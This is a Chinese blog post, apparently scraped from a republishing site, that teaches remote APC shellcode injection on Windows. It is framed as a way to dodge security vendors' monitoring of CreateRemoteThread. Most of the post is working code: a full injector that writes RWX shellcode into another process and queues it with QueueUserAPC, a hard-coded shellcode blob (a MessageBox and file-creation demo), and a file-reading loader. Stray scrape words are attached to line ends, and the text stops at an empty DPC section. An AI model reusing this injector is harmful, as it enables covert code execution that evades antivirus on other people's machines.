windows:shellcode 代碼遠程APC注入和加載

       http://www.javashuo.com/article/p-yjjepvgj-ne.html  上一章介紹了通用的shellcode加載器,這個加載器本身調用virtualAlloc分配空間、複製shellcode、執行shellcode,全部操做都在加載器的空間,隱蔽性不強,容易被發現。若是能在其餘進程空間把shellcode注入,而後執行了? 能夠達到金蟬脫殼的目的;那麼該怎麼作了?html

       熟悉win32編程的同窗第一時間可能就想到了createRemoteThread+virtualAllocEx:在目標進程建立一個線程,把shellcode複製到目標進程後執行。這麼作技術上可行,但這兩個API實在是太出名了(createRemoteThread號稱是windows的萬惡之源,早期不少病毒、木馬都利用了這個API),早就被各大廠商盯死,可能達不到預期;今天介紹另外一種遠程代碼注入的方式:APC注入ios

       一、先簡單介紹一下APCshell

  •     APC本質:線程在執行的時候若是自身不主動跳轉去其餘地方(放棄CPU控制權),就會一直佔有CPU,那麼怎麼殺死線程了?因此有了APC機制:線程執行的時候定時檢查是否有另外須要執行的代碼,若是有就去執行;該代碼(函數),就是APC。再直白一點:APC是個隊列,裏面存儲了可執行的代碼;線程在正常執行的時候若是知足某些特定的條件(好比alterable,這個很重要,後續會詳細介紹),會去APC隊列檢查,一旦發現不爲空,就會取出隊列的代碼執行,直到執行完畢爲止;經過這種方式,可讓3環的死循環線程沒法100%佔用CPU資源,其餘線程才能正常執行;
  •     剛纔說到alertable狀態,這個怎麼理解? 其實就是線程暫時沒有重要的事情要作,就叫作這個狀態。APC函數通常不會去幹擾(中斷)線程的運行。一個線程附帶着兩個APC隊列(用戶APC、系統APC),也就至關於這兩個隊列的APC函數都是由「線程自己」來儲備調用的(APC函數就至關於奧運會比賽上的預備選手),只有當線程處於「可警告的線程等待狀態」纔會去調用APC函數(比賽時只有主將沒法上場時,預備選手纔會出現)
  • 用戶模式下,能夠調用函數SleepEx、SignalObjectAndWait、WaitForSingleObjectEx、WaitForMultipleObjectsEx、MsgWaitForMultipleObjectsEx均可以使目標線程處於alertable等待狀態(無重要事情要作),從而讓用戶模式APCs執行,這點也很重要,後面的實驗會用到這一特性;

  二、 APC代碼注入核心步驟介紹編程

       (1)APC和線程相關的,既然注入APC,勢必要找到目標線程。線程又屬於進程,那麼就要先遍歷進程,核心代碼以下:先遍歷進程,根據進程名(這裏我本身單獨寫了一個簡單的程序,沒用explorer來測試,緣由後面再解釋)找到目標進程,而後打開進程、分配空間、寫入shellcode;windows

HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
    HANDLE victimProcess = NULL;
    PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
    THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
    std::vector<DWORD> threadIds;
    SIZE_T shellSize = sizeof(buf);
    HANDLE threadHandle = NULL;

    if (Process32First(snapshot, &processEntry)) {
        while (_wcsicmp(processEntry.szExeFile, L"Thread_Alertable.exe") != 0) {
            Process32Next(snapshot, &processEntry);
        }
    }
    victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
    LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
    WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
    printf("shellAddress is: %p\n", shellAddress);

      (2)接着遍歷進程的線程,調用最核心的QueueUserAPC函數,將shellcode注入目標線程函數

if (Thread32First(snapshot, &threadEntry)) {
        do {
            if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
                threadIds.push_back(threadEntry.th32ThreadID);
            }
        } while (Thread32Next(snapshot, &threadEntry));
    }

    for (DWORD threadId : threadIds) {
        threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
        QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
        printf("apcRoutine is: %p------>threadId:%d\n", apcRoutine, threadId);
        Sleep(1000 * 2);
    }

  (3)注入完成後就等待shellcode被調用了。這段代碼是借(chao)鑑(xi)https://ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection 這裏的,原做者剛開始用的explorer.exe,我也是這麼作的,代碼運行後,遲遲不見效果,於時打開process hacker,發現shellcode已經注入目標進程空間,以下:測試

       

   而且地址的屬性是RWX,這裏沒任何問題,shellcode遲遲未被執行的緣由只能是線程狀態不是alterable了,這裏沒辦法,只能繼續等;process hacker提供了查看線程狀態的功能,等了許久仍是未等到有線程的狀態變爲alertable,一直看不到效果,無奈只能放棄這種方式;spa

         

   (4)既然等不到,就本身構造,很簡單,以下:核心是調用sleepEX函數,讓其休眠10分鐘,第二個參數是TRUE,代表是alertable 的,這樣一來只要APC隊列有代碼,main函數就會執行線程

#include <windows.h>
#include <stdio.h>

int main() 
{
    printf("enter alertable statues...............");
    SleepEx(1000*600,TRUE);
}

    執行後查看發現只有這一個線程的,應該是main:3d

        

    此次終於成功執行了本身的shellcode:能看到messagebox的彈窗:

   

        目標程序所在的目錄下也生成了1.txt文本;

   

   三、實驗總結:

      (1)上面shellcode都是手動複製到代碼內,寫死了不說,每次複製shellcode還比較麻煩,當時我想着寫代碼直接從磁盤讀(最初的加載器不就是這麼幹的麼?),以下:

HANDLE hFile = CreateFileA(argv[1], GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE)
    {
        printf("Open  File Error!%d\n", GetLastError());
        return -1;
    }
    DWORD dwSize;
    dwSize = GetFileSize(hFile, NULL);

    LPVOID buf = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (buf == NULL)
    {
        printf("VirtualAlloc error:%d\n", GetLastError());
        CloseHandle(hFile);
        return -1;

    }
    DWORD dwRead;
    ReadFile(hFile, buf, dwSize, &dwRead, 0);
    printf("\n%s File read length:%d \n", argv[1], dwRead);
    printf("buf length=%d \n", sizeof(buf));//shellcode裏面有00,致使buf被階段,長度只有4;

  查看目標進程內存時發現並未複製徹底,罪魁禍首是中間遇到00,被截斷,buf讀取的長度只有4;

  

   各位讀者有更好的解決辦法還請不吝賜教。

  (2)完整的代碼:

#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <vector>

int main()
{
    unsigned char buf[] = "\xE9\x8B\x01\x00\x00\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\x64\xA1\x30\x00\x00\x00\x85\xC0\x78\x0D\x8B\x40\x0C\x8B\x40\x14\x8B\x00\x8B\x00\x8B\x40\x10\xC3\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\x55\x8B\xEC\x83\xEC\x40\x53\x56\x8B\xD9\x57\x89\x5D\xF4\xE8\xCD\xFF\xFF\xFF\x8B\xF0\x33\xFF\x8B\x56\x3C\x39\x7C\x32\x7C\x75\x07\x33\xFF\xE9\x9C\x00\x00\x00\x8B\x44\x32\x78\x85\xC0\x74\xF1\x8B\x54\x30\x18\x85\xD2\x74\xE9\x8B\x4C\x30\x24\x8B\x5C\x30\x20\x03\xCE\x8B\x44\x30\x1C\x03\xDE\x03\xC6\x89\x4D\xFC\x33\xC9\x89\x45\xF8\x4A\x8B\x04\x8B\x03\xC6\x80\x38\x47\x75\x4E\x80\x78\x01\x65\x75\x48\x80\x78\x02\x74\x75\x42\x80\x78\x03\x50\x75\x3C\x80\x78\x04\x72\x75\x36\x80\x78\x05\x6F\x75\x30\x80\x78\x06\x63\x75\x2A\x80\x78\x07\x41\x75\x24\x80\x78\x08\x64\x75\x1E\x80\x78\x09\x64\x75\x18\x80\x78\x0A\x72\x75\x12\x80\x78\x0B\x65\x75\x0C\x80\x78\x0C\x73\x75\x06\x80\x78\x0D\x73\x74\x07\x41\x3B\xCA\x76\xA3\xEB\x0F\x8B\x45\xFC\x8B\x7D\xF8\x0F\xB7\x04\x48\x8B\x3C\x87\x03\xFE\x8B\x5D\xF4\x8D\x45\xC0\x89\x3B\x50\xC7\x45\xC0\x4C\x6F\x61\x64\xC7\x45\xC4\x4C\x69\x62\x72\xC7\x45\xC8\x61\x72\x79\x41\xC6\x45\xCC\x00\xE8\xF9\xFE\xFF\xFF\x50\x8B\x03\xFF\xD0\x8D\x4D\xDC\x89\x43\x04\x51\x8D\x4D\xE8\xC7\x45\xE8\x55\x73\x65\x72\x51\xC7\x45\xEC\x33\x32\x2E\x64\x66\xC7\x45\xF0\x6C\x6C\xC6\x45\xF2\x00\xC7\x45\xDC\x4D\x65\x73\x73\xC7\x45\xE0\x61\x67\x65\x42\xC7\x45\xE4\x6F\x78\x41\x00\xFF\xD0\x50\x8B\x03\xFF\xD0\x89\x43\x08\x8D\x45\xD0\x50\xC7\x45\xD0\x43\x72\x65\x61\xC7\x45\xD4\x74\x65\x46\x69\xC7\x45\xD8\x6C\x65\x41\x00\xE8\x94\xFE\xFF\xFF\x50\x8B\x03\xFF\xD0\x5F\x5E\x89\x43\x0C\x5B\x8B\xE5\x5D\xC3\xCC\xCC\xCC\xCC\xCC\x55\x8B\xEC\x83\xEC\x24\x8D\x4D\xDC\xE8\x92\xFE\xFF\xFF\x6A\x00\x8D\x45\xFC\xC7\x45\xEC\x48\x65\x6C\x6C\x50\x8D\x45\xEC\x66\xC7\x45\xF0\x6F\x21\x50\x6A\x00\xC6\x45\xF2\x00\xC7\x45\xFC\x54\x69\x70\x00\xFF\x55\xE4\x6A\x00\x6A\x00\x6A\x02\x6A\x00\x6A\x00\x68\x00\x00\x00\x40\x8D\x45\xF4\xC7\x45\xF4\x31\x2E\x74\x78\x50\x66\xC7\x45\xF8\x74\x00\xFF\x55\xE8\x8B\xE5\x5D\xC3\xCC\xCC\xCC\xCC";

    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
    HANDLE victimProcess = NULL;
    PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
    THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
    std::vector<DWORD> threadIds;
    SIZE_T shellSize = sizeof(buf);
    HANDLE threadHandle = NULL;

    if (Process32First(snapshot, &processEntry)) {
        while (_wcsicmp(processEntry.szExeFile, L"Thread_Alertable.exe") != 0) {
            Process32Next(snapshot, &processEntry);
        }
    }

    victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
    LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
    WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
    printf("shellAddress is: %p\n", shellAddress);

    if (Thread32First(snapshot, &threadEntry)) {
        do {
            if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
                threadIds.push_back(threadEntry.th32ThreadID);
            }
        } while (Thread32Next(snapshot, &threadEntry));
    }

    for (DWORD threadId : threadIds) {
        threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
        QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
        printf("apcRoutine is: %p------>threadId:%d\n", apcRoutine, threadId);
        Sleep(1000 * 2);
    }

    return 0;
}

  (3)和APC對應另外一個重要的概念是DPC,這裏簡單作個總結對比:

APC執行過程:

 

相關文章
相關標籤/搜索